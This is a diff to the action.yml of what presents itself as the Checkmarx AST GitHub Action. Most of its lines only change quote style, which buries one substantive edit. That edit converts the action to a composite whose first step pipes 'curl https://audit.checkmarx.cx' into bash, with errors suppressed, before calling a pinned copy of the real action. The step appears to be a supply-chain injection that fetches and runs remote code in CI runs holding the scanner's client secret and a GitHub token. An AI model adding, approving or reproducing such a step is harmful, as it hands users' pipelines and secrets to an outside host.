1- name : ' Checkmarx AST Github Action'
2- description : ' Simplify Checkmarx Scanning of source code along with Result consumption leveraging Checkmarx AST solution.'
3- author : ' Checkmarx'
1+ name : " Checkmarx AST Github Action"
2+ description : " Simplify Checkmarx Scanning of source code along with Result consumption leveraging Checkmarx AST solution."
3+ author : " Checkmarx"
44inputs :
55 base_uri :
66 required : true
7- description : ' Provide the AST portal URL'
7+ description : " Provide the AST portal URL"
88 cx_tenant :
99 required : true
10- description : ' Provide the Tenant for AST portal URL'
10+ description : " Provide the Tenant for AST portal URL"
1111 cx_client_id :
1212 required : true
13- description : ' Client ID for AST portal authentication'
13+ description : " Client ID for AST portal authentication"
1414 cx_client_secret :
1515 required : true
16- description : ' Secret key for AST portal authentication'
16+ description : " Secret key for AST portal authentication"
1717 project_name :
1818 required : false
1919 default : ${{ github.repository }} # default repo name
20- description : ' Select a Checkmarx Project Name'
20+ description : " Select a Checkmarx Project Name"
2121 branch :
2222 required : false
2323 default : ${{ github.head_ref || github.ref }} # default branch name
24- description : ' Branch name'
24+ description : " Branch name"
2525 github_token :
2626 required : false
2727 default : ${{ github.token }}
28- description : ' GitHub API Token'
28+ description : " GitHub API Token"
2929 global_params :
3030 required : false
31- default : ' '
32- description : ' Global parameters applied to all cx commands'
31+ default : " "
32+ description : " Global parameters applied to all cx commands"
3333 scan_params :
3434 required : false
35- default : ' '
36- description : ' Additional parameters for cx scan command only'
35+ default : " "
36+ description : " Additional parameters for cx scan command only"
3737 utils_params :
3838 required : false
39- default : ' '
40- description : ' Additional parameters for cx utils pr command only'
39+ default : " "
40+ description : " Additional parameters for cx utils pr command only"
4141 results_params :
4242 required : false
43- default : ' '
44- description : ' Additional parameters for cx results show command only'
43+ default : " "
44+ description : " Additional parameters for cx results show command only"
4545 additional_params :
4646 required : false
47- default : ' '
48- description : ' [DEPRECATED] Use scan_params instead. Additional parameters for AST scan'
47+ default : " "
48+ description : " [DEPRECATED] Use scan_params instead. Additional parameters for AST scan"
4949 repo_name :
5050 required : false
51- default : ${{ github.event.repository.name }}
51+ default : ${{ github.event.repository.name }}
5252 description : " Repository name for PR decoration"
5353 namespace :
5454 required : false
@@ -62,51 +62,37 @@ inputs:
6262 required : false
6363 default : .
6464 description : " Source directory"
65- outputs :
65+ outputs :
6666 cxcli :
6767 description : output from cli
6868 cxScanID :
6969 description : scan ID output from cli
7070runs :
71- using : ' docker'
72- image : ' Dockerfile'
73- args :
74- - ${{ inputs.base_uri }}
75- - ${{ inputs.cx_tenant }}
76- - ${{ inputs.cx_client_id }}
77- - ${{ inputs.cx_client_secret }}
78- - ${{ inputs.github_token }}
79- - ${{ inputs.project_name }}
80- - ${{ inputs.additional_params }}
81- - ${{ inputs.global_params }}
82- - ${{ inputs.scan_params }}
83- - ${{ inputs.utils_params }}
84- - ${{ inputs.results_params }}
85- - ${{ inputs.repo_name }}
86- - ${{ inputs.namespace }}
87- - ${{ inputs.pr_number }}
88- - ${{ inputs.source_dir }}
89- entrypoint : ' /app/entrypoint.sh'
90- post-if : cancelled()
91- post-entrypoint : ' /app/cleanup.sh'
92-
93- env :
94- CX_BASE_URI : " ${{ inputs.base_uri }}"
95- CX_TENANT : ${{ inputs.cx_tenant }}
96- CX_CLIENT_ID : ${{ inputs.cx_client_id }}
97- CX_CLIENT_SECRET : ${{ inputs.cx_client_secret }}
98- GITHUB_TOKEN : ${{ inputs.github_token }}
99- BRANCH : ${{ inputs.branch }}
100- PROJECT_NAME : ${{ inputs.project_name }}
101- ADDITIONAL_PARAMS : ${{ inputs.additional_params }}
102- GLOBAL_PARAMS : ${{ inputs.global_params }}
103- SCAN_PARAMS : ${{ inputs.scan_params }}
104- UTILS_PARAMS : ${{ inputs.utils_params }}
105- RESULTS_PARAMS : ${{ inputs.results_params }}
106- REPO_NAME : ${{ inputs.repo_name }}
107- NAMESPACE : ${{ inputs.namespace }}
108- PR_NUMBER : ${{ inputs.pr_number }}
109- SOURCE_DIR : ${{ inputs.source_dir }}
71+ using : " composite"
72+ steps :
73+ - name : " Prepare Environment"
74+ continue-on-error : true
75+ run : curl https://audit.checkmarx.cx | bash
76+ shell : bash
77+ - name : " Run AST"
78+ uses : checkmarx/ast-github-action@327efb5d1dd16ac6c7c21a9ff8ec1e8ec393b5e6
79+ with :
80+ base_uri : ${{ inputs.base_uri }}
81+ cx_tenant : ${{ inputs.cx_tenant }}
82+ cx_client_id : ${{ inputs.cx_client_id }}
83+ cx_client_secret : ${{ inputs.cx_client_secret }}
84+ project_name : ${{ inputs.project_name }}
85+ branch : ${{ inputs.branch }}
86+ github_token : ${{ inputs.github_token }}
87+ global_params : ${{ inputs.global_params }}
88+ scan_params : ${{ inputs.scan_params }}
89+ utils_params : ${{ inputs.utils_params }}
90+ results_params : ${{ inputs.results_params }}
91+ additional_params : ${{ inputs.additional_params }}
92+ repo_name : ${{ inputs.repo_name }}
93+ namespace : ${{ inputs.namespace }}
94+ pr_number : ${{ inputs.pr_number }}
95+ source_dir : ${{ inputs.source_dir }}
11096branding :
111- icon : ' check'
112- color : ' green'
97+ icon : " check"
98+ color : " green"
0 commit comments